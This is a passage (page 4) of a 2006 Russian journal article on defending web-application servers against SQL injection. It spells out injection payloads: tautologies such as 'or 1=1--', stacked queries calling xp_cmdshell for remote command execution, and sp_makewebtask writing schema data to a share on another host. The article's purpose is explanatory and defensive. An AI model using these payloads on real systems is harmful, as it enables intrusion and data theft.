Противодействие неавторизованному доступу к серверу Web-приложений с использованием механизма подложных SQL-запросов - page 4

Этот запрос возвратит все строки в таблице
product
, независимо от
того,
Pcategory
равен
food
или нет. Двойная черточка “- -” сообща-
ет, что MS SQL-сервер игнорирует остальную часть запроса, которая
следует за одиночной кавычкой ( ). Иногда можно заменить двойную
черточку на диез “#”.
Если используется не MS SQL-сервер, или вы не можете игнори-
ровать остальную часть запроса, то необходимо изменить SQL-запрос
на:
or a = a
Теперь SQL-запрос выглядит следующим образом:
SELECT * FROM product WHERE PCategory= food or a = a
Этот запрос возвратит тот же самый результат.
В зависимости от фактического SQL-запроса, вероятно, придется
пробовать некоторые из этих возможностей:
or 1=1- -
or 1=1- -
or 1=1- -
or a = a
or a = a
) or ( a = a
Для удаленного выполнения команд необходимо вызвать встроен-
ные процедуры, например master..xp_cmdshell:
; exec master..xp_cmdshell ping 10.10.1.2’ - -
Точка с запятой закончит текущий SQL-запрос и позволит вам за-
пускать новые SQL-команды. Чтобы проверить, выполнена ли команда
успешно, вы можете проверить ICMP пакеты в 10.10.1.2, присутству-
ют ли в них какие либо пакеты с уязвимого сервера:
Если вы не получили ответа от утилиты ping и получаете сооб-
щение об ошибке, указывающее ошибку разрешения, возможно, что
администратор ограничил доступ пользователя к сохраненным проце-
дурам.
Для получения результатов от SQL-запроса можно использовать
хранимую процедуру sp_makewebtask, чтобы записать ваш запрос в
HTML формат:
; EXEC master..sp_makewebtask
\\
10
.
10
.
1
.
3
\
share
\
output.html ,
SELECT * FROM INFORMATION_SCHEMA.TABLES
Указываемый IP-адрес должен иметь системную папку share с
доступом для любого пользователя (Everyone).
Можно использовать информацию из сообщения об ошибке, про-
изведенной MS SQL-сервером, чтобы получить любые данные. На-
пример, рассмотрим следующую страницу:
ISSN 0236-3933. Вестник МГТУ им. Н.Э. Баумана. Сер. “Приборостроение”. 2006. № 3 77
1,2,3 5,6,7,8,9
Powered by FlippingBook